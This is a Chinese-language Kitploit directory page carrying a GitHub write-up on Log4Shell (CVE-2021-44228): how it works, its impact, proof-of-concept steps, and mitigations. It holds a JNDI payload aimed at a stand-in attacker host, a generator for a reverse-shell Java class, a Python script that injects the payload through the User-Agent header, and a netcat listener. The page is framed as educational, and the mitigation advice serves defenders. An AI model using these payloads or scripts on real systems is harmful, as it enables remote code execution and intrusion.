Skip to content
KitploitKITPLOIT
工具博客
Log in
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-44228 — Educational analysis of CVE-2021-44228 (Log4Shell) with PoC scripts, attack vector breakdown, and mitigation guidance for understanding and testing the critical RCE vulnerability in Apache Log4j. | Kitploit
工具/GitHubGitHub/kaleth4/cve-2021-44228
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubkaleth4/cve-2021-44228

CVE-2021-44228

Educational analysis of CVE-2021-44228 (Log4Shell) with PoC scripts, attack vector breakdown, and mitigation guidance for understanding and testing the critical RCE vulnerability in Apache Log4j.

查看仓库
155个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

🛡️ CVE-2021-44228: Log4Shell 分析 - 颠覆 Java 安全的漏洞

关键影响 (CVSS 10.0) | 发现于2021年,Apache Log4j 中的这一缺陷允许远程代码执行 (RCE),影响全球数百万系统。即使在今天,它仍然是网络安全领域的关键警示!

Severity: Critical
Affected: Apache Log4j 2.x
Discovered: 2021


🔍 什么是 Log4Shell?

CVE-2021-44228,被称为 Log4Shell,是 Apache Log4j 2 日志库中的一个 远程代码执行 (RCE) 关键漏洞。该缺陷允许恶意攻击者仅通过发送应用程序记录的特制文本字符串,即可在易受攻击的服务器上执行任意代码。

  • 为何如此危险? Log4j 在 Java 应用程序中无处不在,包括云服务、Web 应用和企业软件。其利用不需要身份验证,并且可以通过用户输入(如 HTTP 头部、表单或聊天)轻松传播。
  • 发现者: 阿里巴巴云安全的陈兆军(2021年11月)。于2021年12月9日公开披露,引发 CISA、NCSC 等全球警报。
  • 全球影响: 影响数亿台设备。Minecraft、Twitter 和 Cisco 等公司均受到冲击。观察到大规模攻击:高峰期每分钟超过100次。

Log4Shell 并非孤立存在;它还衍生出 CVE-2021-45046 (RCE/DoS)、CVE-2021-45105 (DoS) 和 CVE-2021-4104 (Log4j 1.2 中的 RCE)。


💀 攻击向量与工作原理

问题的核心在于 Log4j 中对 JNDI (Java 命名和目录接口) 的不安全处理,它会无验证地解析远程查找。

基础 Payload 示例

${jndi:ldap://atacante.com:1389/Exploit}

工作原理:

  1. 攻击者将 payload 注入到被记录的日志消息中(例如 HTTP 的 User-Agent)。
  2. Log4j 检测到 ${...} 并触发 JNDI 查找。
  3. 易受攻击的服务器连接到攻击者的 LDAP/RMI/DNS 服务器。
  4. 下载并执行恶意 Java 类(例如反弹 shell)。

可利用协议: LDAP、RMI、DNS、IIOP 等。这导致以下威胁:

  • 挖矿: 窃取资源用于加密货币挖掘。
  • 勒索软件: 加密数据(例如 Khonsari、Night Sky)。
  • DoS/DDoS: 系统过载(例如通过 Mirai 僵尸网络)。
  • 横向移动: 使用 Cobalt Strike 等工具进行权限提升。

感染链 (Kill Chain):

  1. 侦察: 扫描端口和头部以检测 Log4j。
  2. 注入: 将 payload 发送到未经过滤的输入中。
  3. 解析: JNDI 联系攻击者服务器。
  4. 执行: 恶意代码加载并运行(例如下载 Kinsing 等恶意软件)。
  5. 持久化: 窃取凭据 (/etc/passwd, /etc/shadow) 或安装后门。

📈 技术细节

特性详情
CVSS v3.1 评分10.0 (严重) 🔥 - 最高严重性。
受影响版本Log4j 2.0-beta9 至 2.14.1(包括子 CVE 的衍生版本至 2.16.0)。
根本原因未经验证的 JNDI 消息替换;启用了远程查找。
攻击向量远程、无需认证;影响 Java 8+ 的 Web/云应用程序。
受影响产品Apache Struts, Solr, Druid, Elasticsearch, Dubbo, VMware vCenter 等。
利用难度容易:GitHub 上存在公开 PoC;无需特权。

影响统计数据:

  • 最初超过90%的云环境暴露。
  • 被国家背景组织(中国、朝鲜)和网络犯罪分子利用。
  • 初始补丁:Log4j 2.15.0(2021年12月),但不完整;安全版本:2.17.1+。

🚀 教育性概念验证 (PoC)

⚠️ 警告: 本内容仅供教育和授权测试之用。未经明确许可,请勿在系统上使用。未经授权利用漏洞是非法的(例如违反美国CFAA等法律)。请始终进行道德渗透测试。

基于 kozmer/log4j-shell-poc 等公共仓库,以下是在受控环境(例如本地 Docker/VM)中 PoC 的简化概览。

模拟通用步骤 (易受攻击环境)

  1. 克隆仓库: git clone https://github.com/kozmer/log4j-shell-poc.git && cd log4j-shell-poc/
  2. 构建 Docker: docker build -t log4j-vuln . && docker run --network host -p 8080:8080 log4j-vuln
  3. 安装易受攻击的 Java(例如 JDK 8u202): 从可信镜像下载,解压并配置路径(例如 /usr/bin/jdk1.8.0_202)。
  4. 修改 PoC 脚本 (poc.py): 调整 Java 路径和 IP。示例修正后的片段(简化版):
#!/usr/bin/env python3
import argparse
from colorama import Fore, init
import subprocess
import threading
from pathlib import Path
import os
from http.server import HTTPServer, SimpleHTTPRequestHandler

CUR_FOLDER = Path(__file__).parent.resolve()

def generate_payload(userip: str, lport: int) -> None:
    program = f"""
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {{
    public Exploit() throws Exception {{
        String host="{userip}";
        int port={lport};
        String cmd="/bin/sh";
        Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
        Socket s = new Socket(host, port);
        // ... (简化版反弹 shell 代码)
    }}
}}
"""
    p = CUR_FOLDER / "Exploit.java"
    try:
        p.write_text(program)
        subprocess.run([f"{CUR_FOLDER}/jdk1.8.0_202/bin/javac", str(p)])
        print(Fore.GREEN + '[+] Exploit 类生成成功')
    except Exception as e:
        print(Fore.RED + f'[-] 错误: {e}')

# ... (LDAP 服务器和 Web 服务器函数与原始类似)

def main():
    init(autoreset=True)
    print(Fore.BLUE + "[!] CVE-2021-44228 教育性 PoC - 仅限实验室使用!")
    # 参数:--userip localhost --webport 8000 --lport 9001
    # 启动 LDAP、Web 服务器并生成 payload

if __name__ == "__main__":
    main()
  1. 运行: python3 poc.py --userip 127.0.0.1 --webport 8000 --lport 9001
  2. 监听器 (Netcat): nc -lvnp 9001 - 监视反弹 shell。
  3. 注入 Payload: 在易受攻击的应用程序 (http://localhost:8080) 中,在登录/搜索字段中使用 ${jndi:ldap://127.0.0.1:1389/a}。
  4. 验证: Netcat 连接;终端日志显示 JNDI 解析。

Python 简易 PoC (Listener + Exploit): 用于快速演示,先运行 listener 脚本。

listener.py:

import socket
import threading

def start_listener(ip, port):
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((ip, port))
    server.listen(1)
    print(f"[*] 监听器在 {ip}:{port}...")
    conn, addr = server.accept()
    print(f"[+] 连接来自 {addr}")
    data = conn.recv(4096)
    print(data.decode('utf-8', errors='ignore'))
    conn.close()

if __name__ == "__main__":
    threading.Thread(target=start_listener, args=("0.0.0.0", 1389)).start()
    input("按回车键停止...\n")  # 保持运行

exploit.py:

import requests
import argparse

def send_exploit(target, lhost, lport):
    payload = f"${{jndi:ldap://{lhost}:{lport}/Exploit}}"
    headers = {'User-Agent': payload}
    try:
        r = requests.get(target, headers=headers, timeout=10)
        print(f"[+] 发送至 {target} | 状态码: {r.status_code}")
    except Exception as e:
        print(f"[!] 错误: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-t", "--target", required=True)
    parser.add_argument("-l", "--lhost", required=True)
    parser.add_argument("-p", "--lport", type=int, default=1389)
    args = parser.parse_args()
    send_exploit(args.target, args.lhost, args.lport)

运行: python3 listener.py & python3 exploit.py -t "http://target:8080" -l "127.0.0.1"

注意: 需要 Marshalsec 来模拟 LDAP。仅在隔离实验室中测试。


🛡️ 缓解与补丁

立即行动!通过更新和配置可以避免 Log4Shell。

1. 推荐更新 (高优先级)

  • 升级到 Log4j 2.17.1 或更高版本(默认禁用 JNDI)。
  • 下载:Apache Log4j 发布页面。
  • 使用 mvn dependency:tree 或 Snyk 等工具检查间接依赖。

2. 快速修复 (临时方案)

  • JVM 标志: -Dlog4j2.formatMsgNoLookups=true
  • 环境变量: LOG4J_FORMAT_MSG_NO_LOOKUPS=true
  • Log4j 配置: 在 log4j2.xml 中添加 <Configuration xmlns:log4j="..."> <property name="log4j2.formatMsgNoLookups" value="true"/></Configuration>

3. 手动删除

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
  • 从 JAR 文件中移除 JNDI 类。

4. 额外措施

  • WAF/IPS: 阻止 ${jndi:*} payload(例如 ModSecurity 或 Cloudflare 规则)。
  • 扫描: 使用 Nuclei 或 Nessus 等工具检测易受攻击版本。
  • 虚拟补丁: 在防火墙上实施,阻止远程查找。
  • 监控: 更新防病毒/EDR(例如 Seqrite IPS 规则用于 Log4Shell)。

对于衍生 CVE:

  • CVE-2021-45046:更新至 2.16.0+ 并禁用消息查找。
  • CVE-2021-45105:避免非默认配置中的递归查找。
  • CVE-2021-4104:不要在 Log4j 1.2 中将 JMSAppender 与 JNDI 一起使用。

📚 其他资源

下载工具